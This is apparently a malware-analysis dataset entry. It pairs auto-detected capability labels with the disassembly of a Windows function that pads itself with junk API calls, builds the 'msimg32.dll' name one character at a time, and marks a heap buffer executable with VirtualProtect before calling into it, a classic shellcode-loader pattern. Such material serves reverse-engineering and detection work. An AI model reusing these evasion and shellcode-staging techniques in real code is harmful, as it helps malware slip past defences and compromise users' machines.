Function at 0x80efa0
Capabilities:
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get file attributes
Manipulate console buffer
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x8101ac
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov eax, 0x25b0
call fcn.00412500
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebp
mov ebp, dword [esp + 0x2c]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharToOemBuffW]
xor esi, esi
cmp esi, 0x2d1a6
jge 0x80eff8
push 0
push 0
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call ebx
cmp dword [0xb9b0f8], 0x6fb
jne 0x80f010
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
cmp esi, 0x1e9af9f6
jle 0x80f02d
cmp ebp, 0xc10b30
je 0x80f02d
cmp dword [esp + 0xf4], 0x90503cc
jne 0x80f036
inc esi
cmp esi, 0x83362
jl 0x80efde
cmp dword [0xb9b0f8], 0xcf8
jne 0x80f1b9
push 0
push 0
call fcn.00407711
xor ebp, ebp
push ebp
push ebp
call fcn.00415ad4
add esp, 0x10
lea eax, [esp + 0x48]
push eax
call fcn.00405aa0
push ebp
call fcn.00407a17
fldz
push ecx
fstp qword [esp]
call fcn.00407a50
fstp st(0)
push ebp
push ebp
call fcn.00407b71
push ebp
call fcn.004078ba
mov edx, dword [esp + 0x5c]
mov eax, dword [edx + 4]
lea ecx, [esp + 0xb4]
add esp, 0x14
mov dword [esp + 0x3c], ecx
mov dword [esp + eax + 0x48], 0x40465c
mov dword [esp + 0x25fc], ebp
test byte [esp + 0x98], 1
lea ecx, [esp + 0x58]
mov dword [esp + 0x40], ecx
mov dword [esp + 0x58], 0x40461c
je 0x80f0d2
mov edx, dword [esp + 0x68]
mov eax, dword [edx]
push eax
call fcn.00407a39
add esp, 4
mov eax, dword [esp + 0x68]
mov dword [eax], ebp
mov ecx, dword [esp + 0x78]
mov dword [ecx], ebp
mov edx, dword [esp + 0x88]
mov dword [edx], ebp
mov eax, dword [esp + 0x6c]
mov dword [eax], ebp
mov ecx, dword [esp + 0x7c]
mov dword [ecx], ebp
mov edx, dword [esp + 0x8c]
mov dword [edx], ebp
and dword [esp + 0x98], 0xfffffffe
mov dword [esp + 0x94], ebp
mov dword [esp + 0x58], 0x4045d4
mov byte [esp + 0x25fc], 1
mov eax, dword [esp + 0x90]
mov ebx, eax
cmp eax, ebp
je 0x80f173
mov edi, dword [eax]
cmp edi, ebp
je 0x80f16a
push ebp
lea ecx, [esp + 0x38]
call fcn.00406f32
mov eax, dword [edi + 4]
cmp eax, ebp
jbe 0x80f148
cmp eax, 0xffffffff
jae 0x80f148
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x34]
and esi, edi
call fcn.00406f5a
cmp esi, ebp
je 0x80f16a
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebx
call fcn.00407a39
add esp, 4
lea ecx, [esp + 0x5c]
mov byte [esp + 0x25fc], 0
call fcn.00406f8b
mov dword [esp + 0x25fc], 0xffffffff
mov eax, dword [esp + 0x48]
mov ecx, dword [eax + 4]
lea edx, [esp + 0xa0]
mov dword [esp + ecx + 0x48], 0x404614
push edx
mov dword [esp + 0xa4], 0x4045c0
call fcn.00406b3e
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x80f1d4
mov eax, 0x5d1
add dword [0xb9b0f8], eax
cmp dword [0xb9b0f8], 3
jne 0x80f1eb
push 0
push 0
lea eax, [esp + 0x1c8]
push eax
call edi
inc esi
cmp esi, 0x1518d4
jl 0x80f1c1
mov ecx, dword [0xb9b0f8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x81b15c], eax
mov eax, dword [0xb9b0f8]
xor esi, esi
test eax, eax
je 0x80f25c
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
nop
cmp eax, 0xfe
jne 0x80f233
push 0
lea edx, [esp + 0x1c4]
push edx
call ebx
call fcn.0080eae0
mov eax, dword [0xb9b0f8]
cmp eax, 0x29
jne 0x80f257
push 0
push 0
lea eax, [esp + 0x1c8]
push eax
push 0
call edi
mov eax, dword [0xb9b0f8]
inc esi
cmp esi, eax
jb 0x80f220
cmp eax, 0x70
jne 0x80f37f
lea ecx, [esp + 0x9c0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0
push 0x4041ec
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea edx, [esp + 0x15c0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
lea eax, [esp + 0x21c4]
push eax
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
push 0
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0
lea ecx, [esp + 0x1c4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
lea edx, [esp + 0x40]
push edx
push 0
lea eax, [esp + 0xf0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0
push 0
call esi
push 0x404294
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
push 0x4042b4
push 0x4042f0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
lea ecx, [esp + 0x19c4]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
push 0
push 0
lea edx, [esp + 0xdc8]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov eax, dword [0xb9b0f8]
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapDestroy]
mov dword [esp + 0x34], 0x9682ab
nop
cmp eax, 3
jne 0x80f3ce
push 0x404204
push 0
lea eax, [esp + 0xdc8]
push eax
push 0x404364
push 0x4042d4
push 0x40437c
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov eax, dword [0xb9b0f8]
cmp eax, 0xdf
jne 0x80f460
push 0x4043b0
push 0
push 0
call edi
xor ecx, ecx
lea eax, [esp + 0x40]
push eax
push ecx
push ecx
lea edx, [esp + 0x1cc]
push edx
push ecx
mov dword [esp + 0x50], ecx
call ebp
lea eax, [esp + 0x44]
push eax
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x38]
push ecx
push 0
push 0
push 0
call esi
push 0x4043e4
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0
push 0x404418
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0x4044a4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov eax, dword [0xb9b0f8]
dec dword [esp + 0x34]
jne 0x80f3a0
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov esi, 0x1ff896f4
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x80f475
mov eax, dword [0xb9b0f8]
mov ecx, dword [0x81b15c]
lea edx, [esp + 0x38]
push edx
push 0x40
push eax
push ecx
mov byte [0x8163c8], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0080ed90
mov eax, 0
add dword [0x81b15c], eax
mov edx, 0x73
mov eax, 0x6d
mov word [0xb9a10a], dx
mov word [0xb9a10e], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0xb9a112], cx
mov word [0xb9a11e], ax
mov word [0xb9a110], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0xb9a108
mov dword [0xb9a118], 0x6c0064
mov word [0xb9a10c], ax
mov word [0xb9a108], cx
mov word [0xb9a11c], dx
mov dword [0xb9a114], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0xb9b0f8], 0xc30
jne 0x80f5df
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
lea edx, [esp + 0x9c0]
push edx
push 0x4044a8
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
call dword [sym.imp.KERNEL32.dll_CreateActCtxA]
push esi
lea eax, [esp + 0x3c]
push eax
push esi
lea ecx, [esp + 0x1cc]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push 0x4044dc
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea edx, [esp + 0xdc4]
push edx
push 0x4044e8
call esi
push 0
lea eax, [esp + 0x19c4]
push eax
push 0x404528
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea ecx, [esp + 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov edx, dword [esp + 0x38]
push 0
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
mov ecx, dword [esp + 0x25f4]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret